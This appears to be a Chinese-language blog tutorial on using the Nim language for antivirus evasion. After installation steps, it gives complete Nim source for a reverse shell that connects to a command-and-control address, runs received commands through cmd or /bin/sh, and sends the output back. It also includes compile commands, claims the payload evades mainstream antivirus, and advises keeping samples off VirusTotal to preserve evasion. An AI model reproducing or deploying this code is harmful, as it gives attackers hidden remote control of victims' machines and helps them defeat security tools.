0x01 Nim语言简介
Nim是一种指令式、通用型、多范式、静态类型、编译型的编程语言,于2010年由Andreas Rumpf设计和开发。
Nim的设计目标是在保持类似C语言的速度的同时,拥有Python一样的简洁表达力和Lisp一样的扩展性。
Nim可以编译为C、C++或JavaScript,适用于所有后端和前端需求。它汲取了多种经典语言的特点,如Modula-3、Delphi、Ada、C++、Python、Lisp、Oberon、C#和Go。
在2021年的编程语言排名中,Nim位列第82位,尽管相对冷门,但在免杀应用方面表现卓越。
0x02 Nim语言环境安装
Linux下安装:
Arch Linux:pacman -S nim
Debian/Ubuntu:
<code>apt update apt install nim # 安装Nim语言 apt-get install gcc # 如果未安装C编译器 apt-get install g++ # 如果未安装C++编译器 apt install mingw-w64 # 如果需要在Windows下编译可执行文件</code>
Windows下安装:
- 从Nim官网下载Nim文件,运行
finish.exe
安装MingW。将D:/nim/bin
和D:/nim/bin/nim.exe
添加到环境变量。 - 使用choosenim更新Nim程序。
推荐使用Visual Studio Code作为编辑器,并安装Nim语言包插件和Code Runner插件。
0x03 Nim免杀源码
以下是一段简单的Nim代码,可实现免杀主流杀软效果。代码通过套接字通信获取shell,特征较少,难以被检测。
<code>import net</code><code><br></code><code>import osproc</code><code><br></code><code>import os</code><code><br></code><code>var ip = "192.168.136.137"</code><code><br></code><code>var port = 53</code><code><br></code><code>var socket = newSocket()</code><code><br></code><code>var finalcommand : string</code><code><br></code><code>while true:</code><code><br></code><code>try:</code><code><br></code><code>socket.connect(ip,Port(port)) <em>//连接C&C服务端</em></code><code><br></code><code>while true:</code><code><br></code><code>try:</code><code><br></code><code>socket.send("<nimshell>")</code><code><br></code><code>var command = socket.recvLine() <em>//从服务端读取命令并在客户端上执行</em></code><code><br></code><code>if command == "bye":</code><code><br></code><code>socket.send("EXITTING NIM SHELL")</code><code><br></code><code>socket.close()</code><code><br></code><code>system.quit(0)</code><code><br></code><code>if system.hostOS == "windows":</code><code><br></code><code>finalcommand = "cmd /C" & command</code><code><br></code><code>else:</code><code><br></code><code>finalcommand = "/bin/sh -c" & command</code><code><br></code><code>var (cmdres, _) = execCmdEx(finalcommand) <em>//执行命令并将结果保存在 cmdres</em></code><code><br></code><code>socket.send(cmdres) <em>//将结果发送回C&C服务器</em></code><code><br></code><code>except:</code><code><br></code><code>socket.close()</code><code><br></code><code>system.quit(0)</code><code><br></code><code>except:</code><code><br></code><code>echo "CONNECTION FAILED ,RETRY AFTER 5 SECONDS"</code><code><br></code><code>sleep(5000)</code><code><br></code><code>continue</code>
在Windows下编译:
<code>nim c -d:mingw socket.nim</code>
在Linux下编译:
<code>nim c socket.nim chmod +x socket ./socket</code>
0x04 免杀效果
在国外杀软环境下测试,免杀效果良好。
0x05 结语
视频教程:https://www.bilibili.com/video/BV1Yr4y1Y7qP?spm_id_from=444.41.0.0
希望大家多多关注和点赞,后续将更新更多免杀内容。请注意避免将免杀样本上传到VT等公共沙箱,以降低免杀难度。测试标准以在杀软环境下正常执行为准。
暂无评论内容